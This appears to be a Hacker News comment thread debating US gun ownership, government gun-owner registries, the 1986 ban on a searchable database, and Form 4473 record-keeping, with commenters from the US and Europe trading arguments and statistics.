Or let me ask you, how do you know the government will stay as minimally benevolent as it already is? Especially with it's trending not so benevolent in the last few decades, as, for example, peace officers morphed into warrior cops? The War on (Some) Drugs, anyone?? What else might dissuade you of this notion you implicitly admit to?

Weird? Disappointed? We're out-grouped? Maybe so, but that doesn't mean we're actually wrong, you know.

<comment><USER22> Maybe it's because I live in a country where I am not afraid of the government and see the state of the US Vs. countries here in Europe where having a firearm is prohibited; I just don't get it. It feels the same like telling a 3 year old it's not allowed to handle a chefs knife on their own, but it gets mad because dad said it was OK, it will get mad if you take it way because someone said it was OK before, even though it's not the smart thing to do or in the best interest of the child.

<comment><USER17> My god, according to your website and whois info, you're in the Netherlands.

As I relate in [https://news.ycombinator.com/item?id=12425485](https://news.ycombinator.com/item?id=12425485) _in living memory_ , invaders have used your country's gun registration list to confiscate all the people's firearms, with public execution of whole families as a penalty for not producing a gun on the list.

Oh, and owning a firearm in Europe is most certainly not prohibited, and that's not counting Switzerland, although the reported figures for the Netherlands [https://en.wikipedia.org/wiki/Estimated_number_of_guns_per_c...](https://en.wikipedia.org/wiki/Estimated_number_of_guns_per_capita_by_country) look close to a total _de jure_ prohibition.

I guess the post-WWII ruling class was satisfied with what the Nazis wrought on its people; you certainly are....

<comment><USER22> So, you're afraid of the 2nd (third?) coming of the third reich, that would occupy the united states, andabuse a gun registration lis? It would seem you'd have a whole slew of bigger problems...

</comment></comment></comment></comment></comment><comment><USER23> What is the 1986 law which says "No searchable database of America's gun owners"?

Does that mean the paper files can't be sorted alphabetically by name?

Does it exclude more complex paper-based search systems, like needle-sorted edge-notched cards?

Or does it only refer to computer databases?

<comment><USER24> I wondered this, I'm not an American so the whole gun thing totally mystifies me. I don't think anyone should be allowed to own a gun, not the government, criminals, and certainly not people with mental illnesses. That being a somewhat naive hope then I think restricting them as much as possible is the thing to do.

However, I'm not an American so I wouldn't presume to tell you what to do with your own country. You're welcome! /s

But at what point does it become a database and searchable, does he have to deliberately pile up the boxes of receipts higgledy-piggledy lest they accidentally fall into some sort of organised and therefore searchable order? Seems crazily broad, no?

Edited to Add: Wow, form 4473 doesn't get sent to any kind of centralised place until the gun shop that sold the particular con goes out of business. So this to my mind means a family gun business this been open for 100 years has every 4473 form they've ever written since the law came in, am I reading that right? Surely that can't be right? As in not correct, I don't mean morally, I mean that's just crazy to have a central database that doesn't centralise regularly.

<comment><USER14> Firearms have been nicknamed "equalizers" for a reason: An 80-year-old grandmother can successfully hold off an assault by someone many times her strength, size and agility. Get rid of guns and you now leave a large subset of society defenseless.

Personally I think the 4473s should be destroyed after a reasonable time, and never subject to bulk capture. It's no business of the government's what purchases I make.

<comment><USER23> How many times has that "80-year-old grandmother" scenario happened?

In all those countries with stricter gun laws, how many more times are those defenseless grandmothers been assaulted than in the US? I believe it's a fraction, perhaps even a small fraction.

In the US, how many times has a child picked up a gun and killed someone by accident? More times than grandmothers have defended themselves, or less?

How many times has a police officer shot someone for worries that the officer's own life was in danger of being shot, only to find that the person had no weapon?

How many times have SWAT and no-knock warrants been justified for worries that the person being served might be armed? And of those, how many people have died? And how many died when the police went to the wrong house?

How come having a gun didn't help Clarence Daniels keep from being assaulted by Michael Foster? [http://www.motherjones.com/mixed-media/2015/01/black-man- gun...](http://www.motherjones.com/mixed-media/2015/01/black-man-gun-permit- walmart-florida-vigilante)

Regarding your last sentence, I think real estate titles have shown some of the advantages to having the government track who has purchased a piece of property, so I disagree with your blanket statement.

<comment><USER17> _In the US, how many times has a child picked up a gun and killed someone by accident? More times than grandmothers have defended themselves, or less?_

Easily less, there are only ~600 accidental firearms fatalities a year, and we managed to get that number down from ~800 in 1980 in a period when both the population and and the number of guns it owns have increased by very roughly 50%.

Those warrior cops you cite two examples of? We still had a huge gun owning population back when they were peace officers, it's not guns per se that have resulted in that change.

Real estate titles are a very different thing, I submit to you, in that trying to take someone else's land has a much longer and greater pedigree than their weapons, and for entirely different motives.

<comment><USER23> And how many grandmothers have successfully defended themselves with a weapon? That's the missing side. (And yes, the numbers for that vary from 55,000 to 4.7 million total home defense use - good luck on narrowing it down to kabdib scenario of 80 year old grandmothers.)

I believe the higher number includes grandmothers who defended herself with a weapon without firing it, in which case the balance has to include all crimes which were committed with a gun.

Really I'm annoyed with kabdib for using a hypothetical scenario to justify personal gun ownership, when for decades everyone has pointed out how meaningless such scenarios are for meaningful policy change.

I never said it was "guns per se". I'm well aware of countries like Switzerland and Finland with a high gun ownership, though not as high as the US, and don't have the same sorts of gun-related violence.

I agree that real estate and vehicle titles are different things. My point was that I disagreed with the blanket statement "It's no business of the government's what purchases I make."

</comment></comment></comment></comment></comment></comment><comment><USER25> Interesting article but I felt like the author put too much emphasis on making a caricature of Charlie Houser. Starting from the first photo. It just set a strange tone for the whole article.</comment>